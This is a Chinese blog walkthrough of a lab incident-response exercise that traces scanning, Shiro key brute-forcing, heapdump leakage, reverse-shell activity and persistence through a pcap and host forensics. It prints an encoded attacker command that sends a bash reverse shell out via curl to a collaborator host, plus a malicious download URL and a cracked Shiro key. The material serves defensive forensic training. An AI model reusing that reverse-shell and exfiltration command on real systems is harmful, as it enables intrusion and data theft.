当前位置: 首页 > article >正文

玄机——某次行业攻防应急响应(带镜像)

今天给大家带来一次攻防实战演练复现的过程。

文章目录

  • 简介
    • 靶机简介
    • 1.根据流量包分析首个进行扫描攻击的IP是
    • 2.根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}
    • 3.提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交
    • 4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交
    • 5.提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}
    • 6.根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}
    • 7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址
    • 8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交
    • 9.攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径
    • 10.提交此fscan工具的MD5值,以flag{xxxxxx}提交
    • 11.攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}
    • 12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径
    • 13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
  • 总结


简介

靶机简介

镜像下载地址:此处
参看文章:州弟学安全

被攻击站点使用的是spring boot框架,我们此处使用若依复现,被利用到的点会在其中

靶机情况:

系统: Ubuntu 22.0.4
CPU: 4颗
内存: 4G
空间: 保证6G左右
应急主机: 192.168.0.211
网关: 192.168.0.1/24
其它傀儡机: 段内
账号/密码: root/security123
流量包: /home/security/security.pcap
注: 因未使用中间件开放WEB,所以日志全程以流量包分析

题目要求:

  1. 根据流量包分析首个进行扫描攻击的IP是
  2. 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}
  3. 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交
  4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交
  5. 提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}
  6. 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}
  7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址
  8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交
  9. 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径
  10. 另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交
  11. 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}
  12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径
  13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交

1.根据流量包分析首个进行扫描攻击的IP是

首先我们下载靶机后,得到的文件如下图:

在这里插入图片描述
这里我们打开流量包分析一下:
在这里插入图片描述

打开后发现不仅有着57万条流量记录,还有着不同的IP地址以及协议,这让我们从何下手?

首先我们还是从靶机的信息中得知:

应急主机: 192.168.0.211
网关: 192.168.0.1/24

所以我们将应急主机设置为目标地址,看看有哪些主机访问过:

ip.dst == 192.168.0.211 
# Wireshark的过滤规则;

补充知识:

  • ip.src eq 192.168.0.1: 指定的来源IP
  • ip.dst eq 192.168.0.1: 指定的目标IP
  • tcp.srcport eq 8080:来源端口等于 8080
  • tcp.port gt 3000:来源或目标端口大于 3000
  • tcp.len > 100:TCP 数据包大于 100
  • http.request.method == "GET":HTTP 请求类型为 GET
  • http.request.method == "POST" && http contains "HTTP/1.0 200 OK":HTTP 请求类型为 POST 并且包含指定内容
  • http.reqeust.uri matches ".php$": 基于正则匹配的过滤

显示结果如图:
(1)首先根据不同的IP,我们大概推测这个IP在进行什么行为;从info 我们可以得知,这个192.168.0.200在对我们的主机进行ping探测;
在这里插入图片描述

(2)接下来这个192.168.0.223有着大量的SYN请求包,并且看出他的44479端口一直在对我们主机进行着端口扫描
在这里插入图片描述

因为一般攻击者进行主机探测或者端口扫描的时候,都不会使用TCP三次握手这种全连接方式,不仅费时费力,还容易被发现;因此一般都是用SYN半扫描或者ICMP echo这些方式来进行扫描来提高速率或者减少带宽消耗;

(3)接下来的则是192.168.0.226,可以发现他一直在尝试进行登录操作,从不断对 /login 进行请求就能判断个大概;
在这里插入图片描述

(4)接下来的192.168.0.242则是一直在对9988,12333这两个端口进行访问,接下来我们可以去靶机查看这两个端口进行着什么操作;
在这里插入图片描述
在这里插入图片描述


这里我们得到了大概四个可疑IP,再回到题目”根据流量包分析首个进行扫描攻击的IP是“,我们可以重点观察192.168.0.223这个IP,因为它发送了大量的ping探测:

使用过滤器筛选 ip.dst == 192.168.0.211&&ip.src==192.168.0.223看到共请求七万多次,再往下还有http协议

ip.dst == 192.168.0.211&&ip.src==192.168.0.223

结果显示有7万多条记录,这明显不是一台正常主机访问的结果:
在这里插入图片描述

随后我们再继续观察他的流量,发现这个IP除了前期进行端口扫描后,还尝试进行目录扫描,并且有着三千多条记录;

ip.dst == 192.168.0.211 and ip.src == 192.168.0.223 and http.request.method ==GET

:

所以第一个flag:

192.168.0.223

2.根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}

通过之前的分析,我们已知第一个扫描的IP行为是端口探测和文件扫描,在后续进行筛选是可以将此IP(192.168.0.223)过滤掉:

接下来我们探测192.168.0.200这个IP的具体情况:

ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http

这里指定为http协议,因为一般攻击者发送请求都会使用http协议,请求方式的话则是GET,POST,PUT,HEAD等;

在这里插入图片描述
这里我们也是可以发现这个IP也不老实,也进行着目录扫描,并尝试绕过限制搜集信息;

根据题目的”分析漏扫工具“,那么我们从哪里去找到有关漏扫工具的信息呢?
答:寻找漏洞扫描器特征,主要从UA、字典特征,行为特征、DNSlog地址、url中的某些地址查看

在这里插入图片描述

在寻找的过程中,也是发现不少的shelljs脚本文件,../../../shell(作用:尝试绕过目录限制)字样,更加增加了IP的可疑;

也是经过一番寻找,发现了异常:
在这里插入图片描述
在以上图片中,我们看到在160872次流量中,有bxss.me域名,这是漏扫器 acunetix或称 AWVS的特征

我们去靶机进行端口以及服务的查询:

netstat -antlp |more

也是发现除了这两个端口,服务器还开着java,mysql等服务;
在这里插入图片描述

经过此次筛选我们已知,192.168.0.200的行为特征是,利用已开放的WEB端口,进行漏洞扫描;

flag{192.168.0.200&acunetix}

3.提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交

还是根据之前的分析,我们发现192.168.0.226这个IP,一直在尝试进行登录操作,很可能进行爆破操作;

我们可以发现除了刚开始有几次正常的TCP三次握手操作外,其余的都是在进行login的爆破操作:

ip.dst == 192.168.0.211&&ip.src==192.168.0.226

在这里插入图片描述
在这里插入图片描述

很有规律,打开流量包看到疑似在爆破shiro密钥:
在这里插入图片描述

shiro 550反序列化漏洞主要的特征就是包含rememberMe特征,并且是一个java服务,这与我们之前发现服务器开着java服务也是吻合的;

输入命令进行爆破次数的查询:

ip.dst == 192.168.0.211&&ip.src==192.168.0.226 and http.request.method ==GET

加上过滤条件GET,是因为攻击者在此次登录过程中,使用的是GET;

在这里插入图片描述
在这里插入图片描述

发现次数为1091,那么次数对吗? 尝试过后发现是不正确的,因为之前说过在进行爆破之前,攻击者还进行正常的TCP三次握手。
答:所以我们从下面的的第一个/login 开始计数,到最后一个;

方法:先点击第一个出现 /login 规律的包,然后滑到最后——按住shift——再点击最后一个包,查看右下角的Selected即可。

效果如图:
在这里插入图片描述

在这里插入图片描述
最后的结果尝试过后,不是flag{1069},而是flag{1068},什么原因我也不懂。。

结论:目前已知192.168.0.226这个IP行为目的明显,已知开放的WEB端口,已知框架类型和可能存在的漏洞并尝试利用

flag{192.168.0.226&1068}

4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交

接下来的192.168.0.242则是一直在对9988,12333这两个端口进行访问,接下来我们可以去看看流量包的具体内容;

在这里插入图片描述

跟进此IP后,前面经过爆破,没有成功,而后访问了9988端口,访问/actuator/heapdump文件进行下载(heapdump:JVM 内存信息,分析出明文密码)

假如说是动态密钥,我们可以利用同样的方法,下载heapdump,使用相关工具提取密钥,此处用的JDumpSpider:

https://github.com/whwlsfb/JDumpSpider

在这里插入图片描述

经过分析,以上IP进行后攻击可能性极大。

flag{c+3hFGPjbgzGdrC+MHgoRQ==}

5.提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}

这个在流量中看不到,只需看heapdump明文密码即可,从上往下分析,第一个就是数据库密码是弱口令,为ruoyi123

在这里插入图片描述

接着往下搜索,一般来说弱口令不会只尝试一次的:
接着往下看到若以的两个账号的默认口令同样为admin123123456

在这里插入图片描述
在这里插入图片描述
至此,我们应该是找完了所有的弱口令:

ruoyi123&admin123&123456

6.根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}

之前的时候,我们分析过,9988和12333这两个端口一直被尝试爆破访问,所以我们可以查看一下他的详细信息:

在这里插入图片描述

根据上图,已知对外开放的端口为22、9988、12333端口,22端口为远程连接;

(1)9988端口在前期被192.168.0.223进行端口扫描和文件扫描,被192.168.0.200使用AWVS进行扫描,被192.168.0.242访问并下载heapdump进行后续利用
(2)而12333端口是若依搭建的框架,被前面IP进行扫描且进行过爆破,最后一步在192.168.0.242这个IP获取到shiro密钥

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

结论:所以综上所述,9988端口是被直接利用获取敏感信息,从而导致12333后续被攻击成功

9988&12333

7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址

在攻击者成功利用密钥探测成功后,会先探测此主机是否出网,往往会使用dnslog进行测试,我们只需筛选DNS协议及主机

dns&&ip.src==192.168.0.211

在这里插入图片描述
根据显示,除了baidu.com还有一个dnslog.cn,随后就是一些字符组成的网址(其实是burpsuite的DNSlog工具);

1dvrle.dnslog.cn

8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交

在此处继续筛选,因为爆破和利用shiro都是在若依进行的,若依走的是HTTP协议,直接筛选即可

ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http

我们之前也分析过,192.168.0.242这个IP一直在分析靶机的两个端口,可以猜测这两个端口应该是存在漏洞被攻击者发现了才进行相应的爆破;


这里我们随便点开一个流量包,可以发现里面有rememberMe的base64字符,所以攻击者应该是利用了shiro这个漏洞,那我们如何去得到我们想要的信息呢?

shiro的利用过程一般分为以下几个步骤,较为详细
在这里插入图片描述

此处我们可从下往上逆推流量进行解密,因为前面爆破密钥,爆破构造链等多次,从上往下找不好定位;
在这里插入图片描述

这里我们复制出cookie中rememberMe中的值进行解密,脚本我这里用的希谭实验室ABC123大佬写的工具:

蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载

(只能说在学习的过程中要跟紧大佬的步伐,看到他们能够独立开发工具,实在羡慕~)

在这里插入图片描述

可以看到,进行命令执行的Java函数,以及执行的参数进行的base64编码,和最后使用的恶意工具

Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly96dXg4bW96dW9rcmNxN3dzMHR2a2I3cWFsMXJyZmcuYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKChiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4yNTEvODg4OCAwPiYxKXxiYXNlNjQgLXcgMCk=

然后我们使用工具进行base64解密:
在这里插入图片描述

所以结果为:

192.168.0.251:8888

9.攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径

在刚才我们找到了攻击者的主机IP以及监听的端口,所以我们可以尝试在流量中去搜寻相应的包:

ip.dst==192.168.0.211 and ip.src==192.168.0.251 and tcp.port==8888

我们可以看到显示结果都是一些TCP包,而我随便点开前几个进行查看的时候,发现了一些攻击者常用的命令

在这里插入图片描述

所以我也就点进去查看“追踪TCP流”,查看详细的内容:
在这里插入图片描述
在这里插入图片描述

而在这篇文章中,也是说过的:

由于在Linux系统中,通常将 /opt 目录用于存放可选的、占用空间较大的第三方软件和应用程序,所以我们进入到/opt目录下进行查看:

所以我们仿佛找到了一些线索,但是点击下一个包的时候,出现的又是一些没用的信息(看来手动检查的方法行不通);

但是,在主机层面,直接搜索即可,因为给出提示,扫描出了永恒之蓝主机,且fscan默认在扫描后在当前目录生成一个名为result.txt的文件

grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选
grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选

显示结果(用xshell了,在靶机输命令有点麻烦):

在这里插入图片描述
在这里插入图片描述

虽然不知道为什么我输入grep -rl 'MS17-010' / 2>/dev/null 命令就搜索不到;但好在也找到了我们需要的包;

然后我们也可以到流量中去查看:之后我发现只查看SYN的包,就能看到我们想要的数据:
在这里插入图片描述
在这里插入图片描述

这里摘抄下大佬的理解:

在TCP/IP协议中,会话需要经过三次握手和四次挥手,流量包存在是因为SYN,ACK包中存在明文流量,使用以下条件进行过滤

ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1

根据标志位进行过滤相应的流量包,然后查看明文操作

在这里插入图片描述

所以结果:

/opt/.f/.s/.c/.a/.n

10.提交此fscan工具的MD5值,以flag{xxxxxx}提交

这里可能会有疑问,什么MD5值,要他有什么用?
答:每个文件都是一个独立的个体,MD5是唯一的,改名不改内容,MD5是不变的,在首次查杀到这个病毒木马文件后,会记录此文件的MD5值并入库,后面直接对比此文件的MD5,就无需再次查杀,浪费资源,MD5相当于文件的独立身份

针对上一个flag,有些师傅会问,万一他把result.txt文件删了呢,你怎么模糊搜索,很好,非常好的问题,所以这个时候,用到了MD5值(此处我是用的是md5sum工具);

find / -type f -exec md5sum {} \;

这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出,但是不好的是数据量太大,容易卡死:
在这里插入图片描述
所以这里优化一下命令,只对可执行文件列出MD5值,导入到一个文件中,然后对比fscan的MD5:

find / -type f -executable -exec md5sum {} \;>1.txt

这里我们要先到fscan的目录下

在这里插入图片描述

随后查看内容:

cat 1.txt |more

在这里插入图片描述

到最后也是找到了相应的程序:
在这里插入图片描述

但是怎么确定这就是呢?所以我们要把它下载到本地,放到云沙箱里去判断;
在这里插入图片描述

sz /opt/.f/.s/.c/.a/.n/F.Sca.n

这里的话我直接保存到桌面,方便找到:
在这里插入图片描述

这里显示结果也是恶意程序:
在这里插入图片描述

在这里插入图片描述

flag{b8053bcd04ce9d7d19c7f36830a9f26b}

11.攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}

在之前我们查找fscan文件时,还发现了一个sh脚本文件:

在这里插入图片描述

所以我们可以进去查看一下,究竟是什么东西(反正你现在也没思路):

在这里插入图片描述
有两个文件,一一查看:

在这里插入图片描述

所以结果:

http://zhoudinb.com:12345/qxwc.sh

12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径

这个时候我们就要想到在Linux系统中,攻击者还有哪些维权方式:

  1. passwdshadow 文件增加用户维权
  2. useradd 添加提权用户维权
  3. SUID 维权(chmod +s
  4. SSH 软连接维权
  5. 公私钥维权
  6. 计划任务维权

这里经过排查,我首先想到的是查看计划任务(因为它的命令简单,好记):

cat /etc/crontab

在这里插入图片描述

发现竟然是上一个flag;不影响,定时任务没有那就查找 —>开机启动项系统任务

排除计划任务,在Linux中还存在另一种方法,就是开机自启,我们可以通过systemctl查看,他的执行文件路径在/etc/systemd/system/,创建任务是通过此目录下进行定位文件名创建任务名

在这里插入图片描述
乍一看很多,但还是可以发现一个仿佛不是系统文件的进程名;

这个时候使用命令查看进程的详细信息:

ps -aux |grep happy.service

在这里插入图片描述

然后也是使用命令去查看它的具体路径:

cat /etc/systemd/system/happy.service

在这里插入图片描述

/home/security/upload/.CCC/.happy.sh

13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交

cat /etc/passwd |grep bash

通过以上命令查看到只有两个用户拥有登录权限
在这里插入图片描述

确认shadow文件没有问题,查看可登录用户的/.ssh目录,并查看公钥文件,最终在/root/.ssh/.id_rsa.pub看到可疑用户名

在这里插入图片描述

这个就是攻击者常用的SSH公私钥维权

xj1zhoudi@kali

总结

结束了,也是从中学到了很多;我就自己总结不发出来了。

相关文章:

玄机——某次行业攻防应急响应(带镜像)

今天给大家带来一次攻防实战演练复现的过程。 文章目录 简介靶机简介1.根据流量包分析首个进行扫描攻击的IP是2.根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}3.提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交4. 提…...

低代码逻辑引擎配置化实战:三步穿透审批记录查询

在堆积如山的报销单中埋头寻找某笔特殊费用的审批轨迹在跨部门协作时被追问"这个合同到底卡在哪个环节" 在快节奏的办公自动化场景中,这些场景是很常见的,传统OA系统中分散的审批记录查询方式往往太繁琐。 为破解这一痛点,在JVS低…...

深入理解React Hooks的原理与实践

深入理解React Hooks的原理与实践 引言 React Hooks 自 2018 年 React 16.8 发布以来,彻底改变了前端开发者的编码方式。它通过函数式组件提供了状态管理和生命周期等功能,取代了传统的类组件,使得代码更加简洁、复用性更强。然而&#xff…...

WEB3技术重要吗,还是可有可无?

我从几个角度给你一个全面、理性、技术导向的回答: ✅ 一、Web3 技术的重要性:“有意义,但不是万能” Web3 技术并不是可有可无的噱头,而是一种在特定场景下提供独特价值的技术体系。 它重要的原因包括: 1. 重构数字…...

Python 隐藏法宝:双下划线 _ _Dunder_ _

你可能不知道,Python里那些用双下划线包裹的"魔法方法"(Dunder方法),其实是提升代码质量的绝佳工具。但有趣的是,很多经验丰富的开发者对这些方法也只是一知半解。 先说句公道话: 这其实情有可原。因为在多数情况下&am…...

《视觉SLAM十四讲》自用笔记 第三讲:三维空间刚体运动

第三讲 三维空间刚体运动 3.0 目标 1.理解三维空间的刚体运动描述方式:旋转矩阵、变换矩阵、四元数和欧拉角。 2.掌握 Eigen 库的矩阵、几何模块使用方法。 3.1 旋转矩阵 3.1.1 点和向量,坐标系 三维空间中,刚体的运动可以用两个概念来…...

【Zephyr 系列 15】构建企业级 BLE 模块通用框架:驱动 + 事件 + 状态机 + 低功耗全栈设计

🧠关键词:Zephyr、BLE 模块、架构设计、驱动封装、事件机制、状态机、低功耗、可维护框架 📌面向读者:希望将 BLE 项目从“Demo 工程”升级为“企业可复用框架”的研发人员与技术负责人 📊预计字数:5500+ 字 🧭 前言:从 Demo 到产品化,架构该如何升级? 多数 BLE…...

Docker构建Vite项目内存溢出:从Heap Limit报错到完美解决的剖析

问题现象:诡异的"消失的index.html" 最近在CI/CD流水线中遇到诡异现象:使用Docker构建Vite项目时,dist目录中缺少关键的index.html文件,但本地构建完全正常。报错截图显示关键信息: FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out…...

Linux运维新人自用笔记(乌班图apt命令和dpkg命令、两系统指令区别,rpm解决路径依赖、免安装配置java环境)

内容全为个人理解和自查资料梳理,欢迎各位大神指点! 每天学习较为零散。 day17 一、Ubuntu apt命令和dpkg命令 二进制命令配置文件数据文件,打包好的单个文件 Windows :.exe macos:.dmg 后缀适用系统安装方式.d…...

vm+ubuntu24.04扩展磁盘

vmubuntu24.04扩展磁盘 $ lsblk $ sudo fdisk -l 1.修复 GPT 表警告 $ sudo parted /dev/sda print当询问是否修复时,输入 Fix2.扩展物理分区 /dev/sda3 $ sudo growpart /dev/sda 33.刷新物理卷 (PV) $ sudo pvresize /dev/sda3检查可用的扩展空间. $ sudo vgd…...

Python爬虫-爬取各省份各年份高考分数线数据,进行数据分析

前言 本文是该专栏的第60篇,后面会持续分享python爬虫干货知识,记得关注。 本文,笔者将基于Python爬虫,爬取各省份历年以来的“各年份高考分数线”进行数据分析。 废话不多说,具体实现思路和详细逻辑,笔者将在正文结合完整代码进行详细介绍。接下来,跟着笔者直接往下看…...

Android端口转发

如上图所示,有一个Android设备,Android设备里面有主板,主板上有网络接口和Wi-Fi,网络接口通过网线连接了一个网络摄像头,这就跟电脑一样,电脑即可以通过网线接入一个网络,也可以同时用Wi-Fi接入…...

C语言 | C代码编写中的易错点总结

C语言易错点 **1. 指针与内存管理****2. 数组与字符串****3. 未初始化变量****4. 类型转换与溢出****5. 运算符优先级****6. 函数与参数传递****7. 宏定义陷阱****8. 结构体与内存对齐****9. 输入/输出函数****10. 其他常见问题****最佳实践**在C语言编程中,由于其底层特性和灵…...

PHP环境极速搭建

一、为什么选择phpStudy VS Code? 作为一名初次接触PHP的开发者,我深知环境配置往往是学习路上的第一道门槛。传统PHP环境搭建需要手动配置Apache/Nginx、PHP解释器、MySQL等多重组件,光是处理版本兼容性和依赖问题就可能耗费半天时间——这…...

建造者模式深度解析与实战应用

作者简介 我是摘星,一名全栈开发者,专注 Java后端开发、AI工程化 与 云计算架构 领域,擅长Python技术栈。热衷于探索前沿技术,包括大模型应用、云原生解决方案及自动化工具开发。日常深耕技术实践,乐于分享实战经验与…...

代码中文抽取工具并替换工具(以ts为例)

文章目录 基本思路目录结构配置文件AST解析替换代码中文生成Excel启动脚本 基本思路 通过对应语言的AST解析出中文相关信息(文件、所在行列等)存到临时文件通过相关信息,逐个文件位置替换掉中文基于临时文件,通过py脚本生成Excel…...

pgsql batch insert optimization (reWriteBatchedInserts )

reWriteBatchedInserts 是 PostgreSQL JDBC 驱动 提供的一个优化选项,它可以 重写批量插入语句,从而提高插入性能。 作用 当 reWriteBatchedInsertstrue 时,PostgreSQL JDBC 驱动会将 多个单独的 INSERT 语句 转换为 一个多行 INSERT 语句&a…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(上)

概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...

华为云Flexus+DeepSeek征文 | 基于DeepSeek-V3构建企业知识库问答机器人实战

作者简介 我是摘星,一名专注于云计算和AI技术的开发者。本次通过华为云MaaS平台体验DeepSeek系列模型,将实际使用经验分享给大家,希望能帮助开发者快速掌握华为云AI服务的核心能力。 目录 作者简介 1. 引言 2. 技术选型与架构设计 2.1 技…...

【Docker 01】Docker 简介

🌈 一、虚拟化、容器化 ⭐ 1. 什么是虚拟化、容器化 物理机:真实存在的服务器 / 计算机,对于虚拟机来说,物理机为虚拟机提供了硬件环境。虚拟化:通过虚拟化技术将一台计算机虚拟为 1 ~ n 台逻辑计算机。在一台计算机…...

信息最大化(Information Maximization)

信息最大化在目标域无标签的域自适应任务中,它迫使模型在没有真实标签的情况下,对未标记数据产生高置信度且类别均衡的预测。此外,这些预测也可以作为伪标签用于自训练。 例如,在目标域没有标签时,信息最大化损失可以…...

整数的字典序怎么算

在Python中,字典序(lexicographical order)通常指的是按照字符串的字典顺序进行比较或排序。对于整数来说,字典序可以理解为将整数转换为字符串后进行比较的顺序。 计算整数的字典序 要计算整数的字典序,可以按照以下…...

知识拓展卡————————关于Access、Trunk、Hybrid端口

目录 什么是Trunk List、VLAN ID、PVID: VLAN ID(Virtual Local Area Network Identifier): Trunk List(Trunk列表): PVID(Prot VLAN ID): 关于Native VLAN &#x…...

AUTOSAR实战教程--DoIP_02_诊断链路建立流程

第一步:DoIP实体车辆声明/诊断仪车辆识别请求 打开激活线以后,DoIP实体发的三帧车辆声明报文。其中包含了DoIP实体的诊断逻辑地址(可以类比DoCAN的物理请求/响应地址),对应车辆的VIN码(若已配置&#xff0…...

音频剪辑软件少之又少好用

我们平时见到的图片以及视频编辑工具非常多,但是音频剪辑软件却是少之又少,更不用说有没有好用的,今天,给大家带来一款非常专业的音频剪辑软件,而且是会员喔。 软件简介 一款手机号登录即可以享受会员的超专业音频剪…...

客户端和服务器已成功建立 TCP 连接【输出解析】

文章目录 图片**1. 连接状态解析****第一条记录(服务器监听)****第二条记录(客户端 → 服务器)****第三条记录(服务器 → 客户端)** **2. 关键概念澄清****(1) 0.0.0.0 的含义****(2) 端口号的分配规则** *…...

多标签多分类 用什么函数激活

在多标签多分类任务中,激活函数的选择需要根据任务特性和输出层的设计来决定。以下是常见的激活函数及其适用场景: 一、多标签分类任务的特点 每个样本可以属于多个类别(标签之间非互斥,例如一篇文章可能同时属于 “科技” 和 “…...

day26-计算机网络-4

1. tcp的11种状态 ss -ant -a 表示看所有状态 -n 表示不将ip解析为主机名 -t 表示tcp 1.1. closed状态(客户端、服务端) 客户端发起建立连接前的状态服务端启动服务前的状态 1.2. listen状态(服务端) 服务端软件运行的时候状…...

ngx_stream_geo_module在传输层实现高性能 IP Region 路由

一、模块定位与核心价值 层次:工作在 Stream (TCP/UDP) 层,和 ngx_http_geo_module 的 L7 语义互补。作用:基于客户端 IP 前缀 / 范围生成一个 Nginx 变量,可在后续 proxy_pass、map、limit_conn、access 等指令中使用&#xff0…...

国防科技大学计算机基础慕课课堂学习笔记

1.信息论 香农作为信息论的这个创始人,给出来了这个信息熵的计算方法,为我们现在的这个生活的很多领域奠定了基础,我第一次听说这个信息熵是在这个数学建模里面的理论学习中有关于这个:决策树的模型,在那个问题里面&a…...